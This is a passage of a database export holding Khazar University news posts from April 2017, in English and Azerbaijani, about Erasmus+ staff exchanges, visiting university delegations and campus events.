Economics and Policy, 2017, 7(6), 1-7 . [SCOPUS- Impact Factor (SJR): <span style=\"color:#111111;background:#fffffff\">0.503</span>]<o:p></o:p></span></p> <p><br></p><div><br></div> <br><br><p><strong>Elvin Mammadov</strong></p><p>“Influencing Factors of the Profitability in Banking Sector: An Analysis\r\nfor post-Soviet Countries”, Thomsen Reuters Impact Factor&nbsp;(SSCI):,&nbsp;0.825- Submitted  </p> <p>“The Effectiveness of Exchange Rate Channel in\r\nAzerbaijan: An Empirical Analysis”,&nbsp;Thomsen Reuters Impact Factor&nbsp;(SSCI):,&nbsp;0.444- Submitted  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><div>_</div><br><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><div><br></div><div><br></div><div><br></div><div><br></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><div><br></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></div>'),(3480,2052,'az','“Elm üçbucağı” İctimai TV-də','2017-ci il 9 aprel tarixində Xəzər universitetinin təsisçisi, direktorlar və qəyyumlar şurasının sədri Prof. Hamlet İsaxanlının “Elm üçbucağı” verlişinin növbəti buraxılışı...','<p>2017-ci il 9 aprel tarixində Xəzər universitetinin təsisçisi,\r\ndirektorlar və qəyyumlar şurasının sədri Prof. Hamlet İsaxanlının “Elm\r\nüçbucağı” verlişinin növbəti buraxılışı İctimai TV-də yayımlandı. Bu dəfəki\r\nmühazirənin mövzusu “Avropada akademiyalar” haqqında idi. Mühazirənin auditoryasını\r\nXəzər universitetinin müəllim və peşəkar heyəti təşkil edirdi.&nbsp;</p>'),(3481,2053,'az','Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru işgüzar səfərdə oldu','2017-ci il aprelin 5-də Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin koordinatoru Rima Məmmədova Varşavada işgüzar səfərdə olarkən Varşava Universitetinin ...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil aprelin 5-də Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin\r\nkoordinatoru Rima Məmmədova Varşavada işgüzar səfərdə olarkən Varşava\r\nUniversitetinin Əlilliyi olan Şəxslər üçün Ofisinin direktoru Pavel Vdovik ilə\r\ngörüşdü. Görüş zamanı Pavel Vdovik ofisin yaranma tarixi, qarşılaşdığı çətinliklər\r\nvə əldə etdikləri nailiyyətlər haqqında danışdı. O, əlilliyi olan tələbələr\r\nüçün göstərdikləri xidmətlər haqqında məlumat verdi. Rima Məmmədova, həmçinin, əlilliyi\r\nolan tələbələr üçün yaradılmış mərkəzlə və təmin olunmuş avadanlıqlarla tanış\r\noldu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Görüş zamanı qarşılıqlı əməkdaşlıq\r\nbarədə müzakirələr aparıldı və razılaşma əldə olundu.&nbsp;</p>'),(3482,2054,'en','Erasmus+ Programme: Opportunitties for Academic and Administrative Staff of Khazar University ','','<p>Mobility\r\nopportunities for administrative and academic staff members of Khazar\r\nUniversity are available at the following partner-universities: </p>\r\n<p>&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"35\">\r\n  <p><strong>N</strong></p>\r\n  </td>\r\n  <td width=\"154\">\r\n  <p><strong>University</strong></p>\r\n  </td>\r\n  <td width=\"85\">\r\n  <p><strong>Country</strong></p>\r\n  </td>\r\n  <td width=\"85\">\r\n  <p><strong>Staff</strong></p>\r\n  </td>\r\n  <td width=\"189\">\r\n  <p><strong>Eligible Subject\r\n  Area/Schools/Departments</strong></p>\r\n  </td>\r\n  <td width=\"66\">\r\n  <p><strong>Number of Slots</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"35\">\r\n  <p>1</p>\r\n  </td>\r\n  <td width=\"154\" style=\"\" width:115.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>University of Ljubljana</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Slovenia</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Academic</p>\r\n  </td>\r\n  <td width=\"189\" style=\"\" width:141.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>School of Economics and Management (Business Administration,\r\n  Economics)</p>\r\n  </td>\r\n  <td width=\"66\" style=\"\" width:49.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"35\">\r\n  <p>2</p>\r\n  </td>\r\n  <td width=\"154\" style=\"\" width:115.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Kozminski University</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Poland</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Academic</p>\r\n  </td>\r\n  <td width=\"189\" style=\"\" width:141.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>School of Economics and Management</p>\r\n  </td>\r\n  <td width=\"66\" style=\"\" width:49.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>2</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"35\">\r\n  <p>3</p>\r\n  </td>\r\n  <td width=\"154\" style=\"\" width:115.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Polytechnic University of Valencia</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Spain</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Academic</p>\r\n  </td>\r\n  <td width=\"189\" style=\"\" width:141.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Attached file (<a href=\"/files/pdf/events/UPV\'s%20ACADEMIC%20OFFER_send.xlsx\">UPV’s Academic Offer</a>)</p>\r\n  </td>\r\n  <td width=\"66\" style=\"\" width:49.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>1</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>\r\n<p>To apply fill\r\nout the <a href=\"/files/pdf/events/Work%20Plan%20Proposal%20Khazar.docx\">Work Plan</a> and send it along with your CV/resume to <a href=\"mailto:international@khazar.org\">international@khazar.org</a>.</p>\r\n<p>Please indicate “Erasmus Plus Staff Exchange” in the\r\nsubject line</p>\r\n<p><strong>Deadline: April 17, 2017 – 12pm (12:00)&nbsp;</strong><strong></strong></p>'),(3483,2054,'az','Erasmus + Proqramı: Xəzər Universitetinin akademik və administrativ heyət üçün mübadilə imkanları','Erasmus+ proqramı çərçivəsində Xəzər Universitetinin akademik və administrativ işçi heyəti üçün aşağıdakı cədvəldə təqdim olunan mübadilə imkanları mövcuddur...','<p>Erasmus&nbsp;+ proqramı çərçivəsində Xəzər Universitetinin akademik və administrativ işçi heyəti üçün aşağıdakı cədvəldə təqdim olunan mübadilə imkanları mövcuddur.&nbsp;</p><p><br></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"35\"><p><strong>N</strong></p></td><td width=\"154\"><p><strong>University</strong></p></td><td width=\"85\"><p><strong>Country</strong></p></td><td width=\"85\"><p><strong>Staff</strong></p></td><td width=\"189\"><p><strong>Eligible Subject Area/Schools/Departments</strong></p></td><td width=\"66\"><p><strong>Number of Slots</strong></p></td></tr><tr><td width=\"35\"><p>1</p></td><td width=\"154\" width:115.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>University of Ljubljana</p></td><td width=\"85\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Slovenia</p></td><td width=\"85\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Academic</p></td><td width=\"189\" width:141.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>School of Economics and Management (Business Administration, Economics)</p></td><td width=\"66\" width:49.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>1</p></td></tr><tr><td width=\"35\"><p>2</p></td><td width=\"154\" width:115.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Kozminski University</p></td><td width=\"85\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Poland</p></td><td width=\"85\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Academic</p></td><td width=\"189\" width:141.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>School of Economics and Management</p></td><td width=\"66\" width:49.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>2</p></td></tr><tr><td width=\"35\"><p>3</p></td><td width=\"154\" width:115.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Polytechnic University of Valencia</p></td><td width=\"85\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Spain</p></td><td width=\"85\" width:63.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Academic</p></td><td width=\"189\" width:141.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>Attached file (<a href=\"http://www.khazar.org/files/pdf/events/UPV\'s%20ACADEMIC%20OFFER_send.xlsx\">UPV’s Academic Offer</a>)</p></td><td width=\"66\" width:49.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p>1</p></td></tr></tbody></table><p>&nbsp;</p><p>Müraciət etmək üçün&nbsp;<a href=\"http://www.khazar.org/files/pdf/events/Work%20Plan%20Proposal%20Khazar.docx\">Work Plan</a>&nbsp;adlı sənədi doldurub CV-niz ilə birgə&nbsp;<a href=\"mailto:international@khazar.org\">international@khazar.org</a>&nbsp;ünvanına göndərməyiniz xahiş olunur.</p><p>Elektron müraciətin başlğında (subject line) “Erasmus Plus Staff Exchange” qeyd etməyiniz vacibdir. &nbsp;</p><p><strong>Müraciət üçün son tarix: 17 aprel, 2017 – 12:00</strong></p>'),(3484,2055,'az','Abdullah Gül Universitetinin rektoru Xəzər Universitetində oldu','2017-ci il aprelin 11-də Türkiyə Cümhuriyyəti Abdullah Gül Universitetinin rektoru Pr.Dr. İhsan Sabuncuoğlu Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p>2017-ci il\r\naprelin 11-də Türkiyə Cümhuriyyəti Abdullah Gül Universitetinin rektoru Pr.Dr.\r\nİhsan Sabuncuoğlu Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı ilə görüşdü. Bu iki universitet arasında gələcəkdə\r\niş birliyinin qurulması qərara alındı. Görüşdə Xəzər Universitetinin rektoru\r\nDr. Hassan Niknafs və İctimai əlaqələr media üzrə direktoru Əlövsət Əmirbəyli də\r\niştirak edirdilər.</p>'),(3485,2056,'en','Meeting with Argentinian Writer','On April 10, 2017, Founder of Khazar University and the Chairman of its Board of Directors and Trustees Prof. Hamlet Isakhanli met with Ms. Silvia Zimmerman...','<p>On April 10,\r\n2017, Founder of Khazar University and the Chairman of its Board of Directors\r\nand Trustees Prof. Hamlet Isakhanli met with Ms. Silvia Zimmerman, an\r\nArgentinian writer, student of the famous Argentinian writer Jorge Luis Borges.\r\nMs. Zimmerman is also a board member of the Argentinian Chapter of the club of\r\nRome. During the meeting, development of cultural ties between Argentina and\r\nAzerbaijan and the role of Khazar University in it were discussed.</p>\r\n<p>Consul Mr.\r\nEduardo Cavallero and Ms. Turan Jafarova, Director of the International Affairs\r\nOffice of Khazar University also participated in the meeting and talked about\r\npartnership between universities in Argentina and Azerbaijan.</p>'),(3486,2057,'az','Xəzər Universiteti məzunlarının “42-ci məzunluq mərasimi” keçiriləcək','2017-ci il mayın 7-si saat 17:00-da Xəzər Universiteti məzunlarının “42-ci məzunluq mərasimi”...','<p>2017-ci\r\nil mayın 7-si saat 17:00-da Xəzər Universiteti məzunlarının\r\n“42-ci məzunluq mərasimi” “Dünya” məktəbinin konsert zalında (Əcəmi Naxçıvani küç. 9) keçiriləcək. </p>\r\n<p>Maraqlananlar tədbirə dəvət\r\nolunurlar.</p><p>Qeyd edək ki, məzunların <strong>ilk məşqi\r\n</strong>aprelin 29-u<strong><em> </em></strong>saat 16:00-da<strong><em> </em></strong>“Dünya” konsert zalında (B.Səfəroğlu kuç. 122),<strong><em></em>ikinci məşqi </strong>isə<strong> </strong>mayın 6-sı saat 16:00-da “Dünya” məktəbinin konsert zalında (Əcəmi Naxçıvani küç. 9) keçiriləcək</p>'),(3487,2056,'az','Hamlet İsaxanlı argentinalı yazıçı ilə görüşdü','2017-cil il aprelin 10-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı argentinalı yazıçı Xorxe Luis Borxesin (Jorge Luis Borges)...','<p>2017-cil il aprelin 10-da Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı argentinalı\r\nyazıçı Xorxe Luis Borxesin (Jorge Luis Borges) tələbəsi, həmçinin, Roma\r\nklubunun Argentina filialının Direktorlar Şurasının və İdarə Heyətinin üzvü\r\nSilvia Zimmerman ilə görüşdü. Görüşdə Argentina və Azərbaycan arasında mədəniyyət\r\nəlaqələrinin inkişafı və Xəzər Universitetinin bu işdə rolu müzakirə olundu. </p>\r\n<p>Görüşdə, həmçinin, Argentina səfirliyinin əməkdaşı,\r\nkonsul <em>Eduardo Cavallero </em>və Xəzər\r\nUniversitetinin Beynəlxalq Əlaqələr Ofisinin direktoru Turan Cəfərova da\r\niştirak etdilər. Azərbaycan və Argentinanın ali təhsil müəssisələri arasında əməkdaşlıq\r\nmüzakirə olunan mövzulardan biri idi.</p>'),(3488,2058,'en','Representatives of University of Kuala Lumpur at Khazar University','On April 11, 2017, representatives of the University of Kuala Lumpur visited Khazar University. The meeting took place at the Nefcthiler campus...','<p>On\r\nApril 11, 2017, representatives of the University of Kuala Lumpur visited\r\nKhazar University. The meeting took place at the Nefcthiler campus. </p>\r\n<p>Representatives\r\nof the University of Kuala Lumpur included Prof. Dato Dr. Azanam Shah Hashim,\r\nDeputy President (Academic and Technology) and Associate Professor Dr. Sairul\r\nIzwan Bin Safie, Dean and Head of Campus. University of Kuala Lumpur is one of the leading private technical universities in\r\nMalaysia. </p>\r\n<p>Khazar\r\nUniversity was represented by the Founder and Chairman of the Board of\r\nDirectors and Trustees, Prof. Hamlet Isakhanli, Rector Dr. Hassan Niknafs, and\r\nTuran Jafarova, Director of International Affairs Office.</p>\r\n<p>Areas\r\nof mutual collaboration, especially in the field of engineering was discussed.\r\nIt was decided to sign a Memorandum of Understanding between the two\r\nuniversities.</p>'),(3489,2058,'az','Kuala Lumpur Universitetinin nümayəndələri Xəzər Universitetində oldular','2017-ci il aprelin 11-də Kuala Lumpur Universitetinin nümayəndələri Xəzər Universitetində oldular. Görüş Xəzər Universitetin “Neftçilər” kampusunda keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il\r\naprelin 11-də Kuala Lumpur Universitetinin nümayəndələri Xəzər Universitetində\r\noldular. Görüş Xəzər Universitetin “Neftçilər” kampusunda keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Kuala Lumpur\r\nUniversitetinin nümayəndələri –Akademik işlər və texnologiya üzrə vitse-prezident\r\nprofessor Dato Dr. Azanam Şah Haşim və fakültə dekanı və kampus rəhbəri Dr.\r\nSairul İzvan Bin Safie idilər. Kuala Lumpur Universiteti Malayziyanın aparıcı\r\nözəl texniki universitetlərindən biridir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetini isə universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı, rektor Dr. Hassan Niknafs və Beynəlxalq Əlaqələr Ofisinin\r\ndirektoru Turan Cəfərova təmsil edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüş zamanı\r\nqarşılıqlı əməkdaşlıq, xüsusi ilə də mühəndislik sahəsində, müzakirə olundu.\r\nGörüşdə universitetlər arasında Anlaşma Memorandumunun imzalanması qərara alındı.</p>'),(3490,2059,'az','Vellor Texnologiya Universiteti ilə görüş','2017-ci il aprelin 11-də Vellor Texnologiya Universitetinin (Hindistan) nümayəndəsi Xəzər Universitetinin “Neftçilər” kampusunu ziyarət etdi və Xəzər Universitetinin rektoru...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 11-də Vellor Texnologiya\r\nUniversitetinin (Hindistan) nümayəndəsi Xəzər Universitetinin “Neftçilər”\r\nkampusunu ziyarət etdi və Xəzər Universitetinin rektoru Dr. Hassan Niknafs və\r\nBeynəlxalq Əlaqələr Ofisinin direktoru Turan Cəfərova ilə görüşdü.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Vellor Texnologiya Universitetinin Beynəlxalq Əlaqələr\r\nOfisinin direktor müavini Dr. R.Seenivasan Xəzər Universiteti ilə tələbə və müəllim\r\nmübadiləsi, qısamüddətli yay və qış proqramları, birgə tədqiqat və dərəcə\r\nproqramları, eləcə də qarşılıqlı maraq kəsb edən digər sahələrdə əməkdaşlıq etmək\r\nniyyətini ifadə etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd edək ki, Vellor Texnologiya Universiteti 1984-cü\r\nildə yaradılmış Hindistanın Vellor şəhərində yerləşən özəl universitetdir.</p>'),(3491,2059,'en','Meeting with VIT University','On April 11, 2017, a representative of the VIT University (India) visited Khazar University’s Neftchiler campus and met with the Rector, Dr. Hassan Niknafs and Director of the...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On April 11, 2017, a representative of the VIT University (India)\r\nvisited Khazar University’s Neftchiler campus and met with the Rector, Dr.\r\nHassan Niknafs and Director of the International Affairs Office Ms. Turan\r\nJafarova.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Dr. R. Seenivasan, Assistant Director of International Relations,\r\nexpressed his interest in collaborating with Khazar University in student and\r\nfaculty exchange, organizing short-term summer and winter programs, joint research\r\nand degree programs as well as in other areas of mutual interest. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">VIT (Vellore Institute of Technology) is a private university in\r\nVellore, India, which was established in 1984.&nbsp;</p>'),(3493,2061,'az','Professor “Şərq” qəzetinə müsahibə verdi','2017-ci il aprelin 12-də “Şərq” qəzetinin rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə müsahibə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">2017-ci\r\nil aprelin 12-də “Şərq” qəzetinin rəsmi internet səhifəsində Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı ilə müsahibə yayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Müsahibəni\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-29292/Kanadaya_getm%C9%99k_ist%C9%99y%C9%99n_varmi?-__Professor_o_g%C3%B6z%C9%99l_%C3%B6lk%C9%99d%C9%99n_dan%C4%B1%C5%9F%C4%B1r#Kalibri\">http://www.sherg.az/site/id-29292/Kanadaya_getmək_istəyən_varmi?-__Professor_o_gözəl_ölkədən_danışır</a>.</p>'),(3494,2062,'az','Xəzər Universitetinin nümayəndələri AESOP layihəsinin görüşündə iştirak etdilər','2017-ci il aprelin 3-dən 7-dək Polşanın Varşava Universitetində Erasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (AESOP) layihəsi çərçivəsində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil aprelin 3-dən 7-dək Polşanın Varşava Universitetində Erasmus+ “Ombudsman\r\nvəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (AESOP) layihəsi\r\nçərçivəsində görüş keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşün\r\nməqsədi iştirakçıları Varşava Universitetinin Ombudsman ofisinin işləri\r\nilə&nbsp; tanış etmək idi. Görüşdə Xəzər\r\nUniversitetini Əlilliyi olan Tələbələr üçün Mərkəzin\r\nkoordinatoru və AESOP layihəsinin\r\nXəzər Universiteti üzrə layihə rəhbəri\r\nRima Məmmədova və Qəbul və tələbə şöbəsinin müdiri Lamiyə Namazova təmsil etdirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüş\r\nVarşava Universitetinin Ombudsmanı Anna Cybulko, Tələbə\r\nişləri və tədrisin keyfiyyəti üzrə prorektor professor Jolanta Choińska-Mika və Şərqi\r\nAvropa Araşdırmalar Mərkəzinin professoru Jan Malickinin\r\nnitqləri ilə başladı. Mübahisə və Münaqişələrin Həlli Mərkəzinin\r\nrəhbəri professor Ewa Gmurzyńska Varşava Universitetində\r\nyaranan akademik münaqişələrin həllinə dair sistemli yanaşmalar haqqında\r\ndanışdı. Georgia Dövlət Universitetinin (ABŞ)&nbsp; professoru Daug Yarn isəAmerika universitetlərində yaranan akademik münaqişələrin həllinə dair sistemli yanaşmalardan\r\ndanışdı. Görüş\r\nzamanı bütün regional\r\ntərəfdaşlar öz universitetləri haqqında təqdimatlarla çıxış etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Rima\r\nMəmmədova Xəzər Universiteti haqqında geniş məlumat verdi. Xəzər\r\nUniversitetinin Azərbaycan Respublikasının təhsil sahəsindəki mövqeyindən,\r\ntələbələrin həyat tərzindən və tələbələr üçün (yerli və xarici) təhsil\r\nsəviyyəsinin inkişafı yollarından\r\ndanışdı. Daha sonra iştirakçılar onlara verilən suallara cavab verdilər. Görüşün\r\nbirinci günü Varşava\r\nUniversitetinin tanışlıq turu ilə sona çatdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşün\r\nikinci günü Ombudsman ofisinin əməkdaşları, Anna Cybulko və Łukasz Modzelewski bmbudsman\r\nofisinin təşkil olunması,\r\nombudsmanın vəzifələri və\r\nöhdəlikləri haqqında təqdimatlarla çıxış etdilər. Təqdimatdan sonra Tələbə\r\nMəclisinin nümayəndələri\r\nonların tələbələrin\r\nhüquqlarının təmin\r\nolunmasında iştirakları\r\nvə Ombudsman ofisi ilə Tələbə Məclisinin əməkdaşlığı haqqında danışdılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşün\r\nüçüncü günü Ombudsman ofisinin\r\nuniversitetin digər səlahiyətli\r\nnümayəndələri, inzibati şöbələri və bölmələri ilə birgə əməkdaşlığına həsr\r\nolundu. Tələbə Məclisinin nümayəndələri və rektorluq\r\nnəznində ayrı-seçkiliyə qarşı komissiyasının\r\nnümayəndəsi onların fəaliyyəti, missiyası, məqsədləri və eləcə də,\r\nOmbudsman ofisi ilə əlaqələrindən danışdı. Torun şəhərində yerləşən Bartłomiej Chludziński Nicolaus Copernicus\r\nUniversitetinin ombudsmanı Nicolaus Copernicus Universitetində yerləşən Ombudsman\r\nofisi haqda təqdimatla çıxış etdi. O,ofisin\r\nyaranma tarixi,fəaliyyətləri\r\nvə ombudsmanın rolu barədə danışdı. Varşava\r\nUniversitetinin Münaqişə və Mübahisələrin Həlli Mərkəzinin nümayəndəsi 